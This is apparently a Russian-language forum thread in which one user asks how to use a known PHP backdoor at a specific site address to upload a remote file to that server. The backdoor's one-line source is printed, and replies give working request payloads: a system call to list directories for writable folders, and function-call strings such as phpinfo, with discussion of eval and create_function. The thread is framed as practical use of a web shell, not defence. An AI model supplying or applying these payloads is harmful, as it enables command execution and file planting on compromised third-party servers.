если я знаю, что по адресу http://domain.ru/sc.php лежит бэкдор PHP: <?php $_REQUEST['f']($_REQUEST['c']); ?> что я должен ввести в адресной строке, чтобы залить на сервер файл http://thai.by/12.txt ?
как вариант: Естественно перед заливкой, лучше посмотреть, в какие папки можно лить и есть ли в них какие-то ограничения, к примеру таким запросом: ?f=system&c=ls -la
вредносность в том что входящие данные никак не фильтруются от кого они приходят и какого рода эти данные. Выше коментарии почитайте. У вас "доступ" к вызову функции и её параметрам. any_func(any_params) а дальше только ваша фантазия.
В данном примере, мы можем объявлять псевдо функции в качестве переменной $_REQUEST['f'] и в качестве переменной $_REQUEST['c'], можем задать какието параметры/значения, еще какието функции.... пример: $_REQUEST['f']($_REQUEST['c']); $_REQUEST['f']=eval $_REQUEST['c']=phpinfo() localhost/script.php?f=eval&c=phpinfo() eval(phpinfo());
Если брать данный пример за практический пример эксплоита eval, то в этом случае интерпретатор вернёт фатальную ошибку: "вызов неопределённой функции". Потому как eval это языковая конструкция, такая же как echo, print, include и т.д., и не может вызываться при помощи переменных функций. Чтобы для кода $_REQUEST['f']($_REQUEST['c']); вывести весь phpinfo, эксплоит должен быть такого вида: ?f=phpinfo&c=-1 А чтобы обратиться к eval как к переменной функции, мне известен только вариант через функцию create_function, который, кстати, используется в одном "ненашемском" шелле. Но она уже устарела и в "бесконечной" версии удалена: